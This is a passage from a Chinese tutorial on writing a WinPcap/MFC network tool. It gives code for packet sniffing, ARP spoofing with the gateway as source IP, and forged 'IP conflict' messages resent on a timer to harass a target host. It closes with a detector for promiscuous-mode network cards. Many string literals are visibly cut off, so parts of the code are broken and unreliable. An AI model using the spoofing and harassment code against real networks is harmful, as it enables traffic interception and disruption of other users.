break;
case IPPROTO_ICMP:
m_packetList.SetText(i, 2, \ m_packetList.SetText(i, 3, \ m_packetList.SetText(i, 4, \ break;
case IPPROTO_IGMP:
m_packetList.SetText(i, 2, \ m_packetList.SetText(i, 3, \ m_packetList.SetText(i, 4, \ break; case ARP:
m_packetList.SetText(i, 2, \ m_packetList.SetText(i, 3, \ m_packetList.SetText(i, 4, \ break; } }
m_packetList.Invalidate(); }
\启动\和\停止\按钮的处理函数为:
void CNetHackerDlg::OnStartstopButton() {
// TODO: Add your control notification handler code here char adapter[200]; struct sockaddr_in sin;
m_adapterList.GetWindowText(adapter, 200);
if (m_runStatus == STOP) {
lpadapter = PacketOpenAdapter(adapter);
if (!lpadapter || (lpadapter->hFile == INVALID_HANDLE_VALUE)) {
MessageBox(\网络黑手\ return ; }
if ((lppackets = PacketAllocatePacket()) == FALSE) {
MessageBox(\网络黑手\
MB_ICONEXCLAMATION); return ; }
for (d = alldevs; d; d = d->next) {
if (strcmp(d->name, adapter) == 0) {
sin = *(struct sockaddr_in*)(d->addresses->addr); myip = ntohl(sin.sin_addr.s_addr); break; } }
m_hostList.SetText(1, 0, \正在获取...\ m_hostList.SetText(1, 1, \正在获取...\
m_hostList.Invalidate();
m_fromip.GetAddress(fromip); m_toip.GetAddress(toip); m_gateip.GetAddress(gateip);
memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); memset(mmac, 0, 6);
rthread = CreateThread(NULL, 0, sniff, 0, 0, 0);
SetTimer(1, 100, NULL); //启动定时器
SetDlgItemText(IDC_STARTSTOP_BUTTON, \停止\ m_runStatus = START; } else {
TerminateThread(rthread, 0); CloseHandle(rthread); TerminateThread(sthread, 0); CloseHandle(sthread); currentHstIndex = 0; sthread = 0; rthread = 0; oldHstIndex = 0;
SetDlgItemText(IDC_STARTSTOP_BUTTON, \开始\ m_runStatus = STOP;
PacketCloseAdapter(lpadapter); KillTimer(1); } 下面我们来介绍\欺骗\和\报告IP冲突\的实现方法。ARP欺骗很简单,发送一个ARP报文,目的IP为攻击目标,源IP为局域网网关,源MAC地址瞎弄一个或弄成自己的即可:
SendArpReq(gateIp, desIp,mmac);
\报告IP冲突\的实现方法是,发送一个ARP报文,源IP为攻击目标,目的IP瞎弄一个,MAC地址也瞎弄一个:
SendArpReq(desIp, 2,mac);
为了不断的骚扰对方,我们可以弄个定时器,在OnTimer()的时候就给需要欺骗的目标整一个伪造报文:
void CNetHackerDlg::OnTimer(UINT nIDEvent) { //…
for (int i = 0; i < currentHstIndex; i++) {
if (hostList[i].arpCheat == 1) {
SendArpReq(gateIp, desIp, mmac); }
if (hostList[i].ipConflict == 1) {
SendArpReq(desIp, 2, mac); } } }
最后,因为对话框程序的回车键会产生与按下OK按钮同样的效果,即对话框程序会关闭,而我们的上述程序不需要OK按钮,因此,可以直接覆盖OnOk()函数,相关代码为:
class CNetHackerDlg: public CDialog { //...
// Generated message map functions //{{AFX_MSG(CNetHackerDlg) virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnStartstopButton(); afx_msg void OnTimer(UINT nIDEvent); afx_msg void OnRecvPkt();
afx_msg void OnOk(); //OK按钮处理函数 //}}AFX_MSG //... };
BEGIN_MESSAGE_MAP(CNetHackerDlg, CDialog) //{{AFX_MSG_MAP(CNetHackerDlg) ON_WM_SYSCOMMAND() ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_STARTSTOP_BUTTON, OnStartstopButton) ON_BN_CLICKED(IDOK,OnOk) //OK按钮消息影射 ON_WM_TIMER()
ON_MESSAGE(RECV_PKT, OnRecvPkt) //}}AFX_MSG_MAP END_MESSAGE_MAP()
void CNetHackerDlg::OnOk() {
CAboutDlg dlg; dlg.DoModal(); }
上述的OK按钮处理函数将弹出软件的关于(About)对话框,这样,在对话框的任意位置按下回车键,将弹出关于对话框,效果如下:
最后,因为程序包括了Winpcap相关.dll及其他.dll的引用,因此,我们应该在程序的适当地方进行如下声明:
#pragma comment(lib,\#pragma comment(lib,\#pragma comment(lib,\
2、网络黑手终结者的实现
\网络黑手终结者\用于搜索局域网内处于混杂模式的网卡并将其列出,检测其是否正在使用的是\网络黑手\(对方可能使用其他工具使网卡处于混杂模式),如果是,我们可以通过\黑手状态\一列来终结对方正在使用的\网络黑手\。
检测局域网内处于混杂模式网卡的原理如下:
正常的ARP请求使用FF-FF-FF-FF-FF-FF这个MAC地址为目标,这个是一个正规的广播地址,网卡不管处于正常模式还是混杂,都会接收并传递给系统核心。但是,为了侦查混杂模式的网卡,我们以FF-FF-FF-FF-FF-FE为目标发送ARP请求。假设对方网卡处于混杂模式,它就会接受这个ARP请求并提交给系统核心。巧就巧在操作系统在检测MAC层广播地址时,不会检查所有的字节,即它可能认为FF-FF-XX-XX-XX-XX就等同于FF-FF-FF-FF-FF-FF,并给出ARP回复。所有的Windows操作系统都是如此。显然,最保险的是以FF-FF-FF-FF-FF-FE为目标发送ARP请求,处于混杂模式的网卡会接收该报文而正常的网卡则不会接收,混杂模式的网卡接收到ARP请求提交系统核心后,会发送ARP回复,凭此可以确定该节点一定处于混杂模式。ArpKiller软件也是基于上述原理展开的。
\网络黑手终结者\的界面如下: